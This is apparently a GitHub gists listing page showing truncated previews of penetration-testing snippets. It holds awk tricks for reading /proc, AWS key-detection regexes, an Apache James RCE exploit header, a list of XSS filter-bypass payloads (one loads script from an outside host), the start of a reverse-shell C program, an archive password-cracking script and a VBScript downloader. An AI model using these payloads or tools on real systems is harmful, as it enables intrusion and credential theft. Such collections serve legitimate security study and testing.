richardcurteis’s gists

staaldraad / uid_awk.sh

Created December 12, 2017 14:06

Get the uid, gid and user groups without touching /etc/passwd or running the `id` command

awk -F: 'END {print "uid:"u" gid:"g" groups:"gg}{if($1=="Uid"){split($2,a," ");u=a[1]}if($1=="Gid"){split($2,a," ");g=a[1]}if($1=="Groups"){gg=$2}}' /proc/self/status

staaldraad / awk_netstat.sh

Last active February 13, 2026 13:20

AWK to get details from /proc/net/tcp and /proc/net/udp when netstat and lsof are not available

	# Gawk version
	# Remote
	grep -v "rem_address" /proc/net/tcp \| awk '{x=strtonum("0x"substr($3,index($3,":")-2,2)); for (i=5; i>0; i-=2) x = x"."strtonum("0x"substr($3,i,2))}{print x":"strtonum("0x"substr($3,index($3,":")+1,4))}'

	# Local
	grep -v "rem_address" /proc/net/tcp \| awk '{x=strtonum("0x"substr($2,index($2,":")-2,2)); for (i=5; i>0; i-=2) x = x"."strtonum("0x"substr($2,i,2))}{print x":"strtonum("0x"substr($2,index($2,":")+1,4))}'

	# No Gawk
	# Local
	grep -v "rem_address" /proc/net/tcp \| awk 'function hextodec(str,ret,n,i,k,c){

hsuh / AWS access key grep

Created January 20, 2017 12:26

	url - https://aws.amazon.com/blogs/security/a-safer-way-to-distribute-aws-credentials-to-ec2/

	Finding hard-coded credentials in your code
	Hopefully you’re excited about deploying credentials to EC2 that are automatically rotated. Now that you’re using Roles, a good security practice would be to go through your code and remove any references to AKID/Secret. We suggest running the following regular expressions against your code base:

	Search for access key IDs: (?<![A-Z0-9])[A-Z0-9]{20}(?![A-Z0-9]). In English, this regular expression says: Find me 20-character, uppercase, alphanumeric strings that don’t have any uppercase, alphanumeric characters immediately before or after.
	Search for secret access keys: (?<![A-Za-z0-9/+=])[A-Za-z0-9/+=]{40}(?![A-Za-z0-9/+=]). In English, this regular expression says: Find me 40-character, base-64 strings that don’t have any base 64 characters immediately before or after.
	If grep is your preferred tool, run a recursive, Perl-compatible search using the following commands

kjiwa / apache-james-exploit.py

Last active December 8, 2022 08:50

An exploit for Apache James 2.3.2 that executes remote commands. https://crimsonglow.ca/~kjiwa/2016/06/exploiting-apache-james-2.3.2.html

	"""An exploit for Apache James 2.3.2 that executes remote commands.

	This script creates a new user and enqueues a payload to be executed the next
	time a user logs in to the machine. The vulnerability is documented in
	CVE-2015-7611.

	For more details, see http://www.securityfocus.com/bid/76933 and
	https://www.exploit-db.com/exploits/35513/.
	"""

rvrsh3ll / xxsfilterbypass.lst

Last active December 5, 2025 11:24

XSS Filter Bypass List

	';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
	'';!--"<XSS>=&{()}
	0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
	<script/src=data:,alert()>
	<marquee/onstart=alert()>
	<video/poster/onerror=alert()>
	<isindex/autofocus/onfocus=alert()>
	<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
	<IMG SRC="javascript:alert('XSS');">
	<IMG SRC=javascript:alert('XSS')>

bcoles / 7zip-jtr.sh

Last active September 25, 2025 22:02

7zip-JTR Decrypt Script

	#!/bin/bash
	# 7zip-JTR Decrypt Script
	#
	# Clone of JTR Decrypt Scripts by synacl modified for 7zip
	# - RAR-JTR Decrypt Script - https://synacl.wordpress.com/2012/02/10/using-john-the-ripper-to-crack-a-password-protected-rar-archive/
	# - ZIP-JTR Decrypt Script - https://synacl.wordpress.com/2012/08/18/decrypting-a-zip-using-john-the-ripper/

	echo "7zip-JTR Decrypt Script";
	if [ $# -ne 2 ]
	then

0xabe-io / reverse_shell.c

Created January 6, 2015 15:24

Simple C code to create a reverse shell

	/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
	#include <stdio.h>
	#include <unistd.h>
	#include <netinet/in.h>
	#include <sys/types.h>
	#include <sys/socket.h>

	#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
	#define REMOTE_PORT XXX

dergachev / simple-https-server.py

Created October 17, 2013 17:07

	# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
	# generate server.xml with the following command:
	# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
	# run as follows:
	# python simple-https-server.py
	# then in your browser, visit:
	# https://localhost:4443

	import BaseHTTPServer, SimpleHTTPServer
	import ssl

UniIsland / SimpleHTTPServerWithUpload.py

Created August 14, 2012 04:01

Simple Python Http Server with Upload

	#!/usr/bin/env python

	"""Simple HTTP Server With Upload.

	This module builds on BaseHTTPServer by implementing the standard GET
	and HEAD requests in a fairly straightforward manner.

	"""

udawtr / wget.vbs

Last active March 23, 2023 04:47

wget.vbs - similar to wget but written in vbscript

	'wget.vbs - similar to wget but written in vbscript
	'based on a script by Chrissy LeMaire

	' Usage
	if WScript.Arguments.Count < 1 then
	MsgBox "Usage: wget.vbs <url> (file)"
	WScript.Quit
	end if

	' Arguments

richardc richardcurteis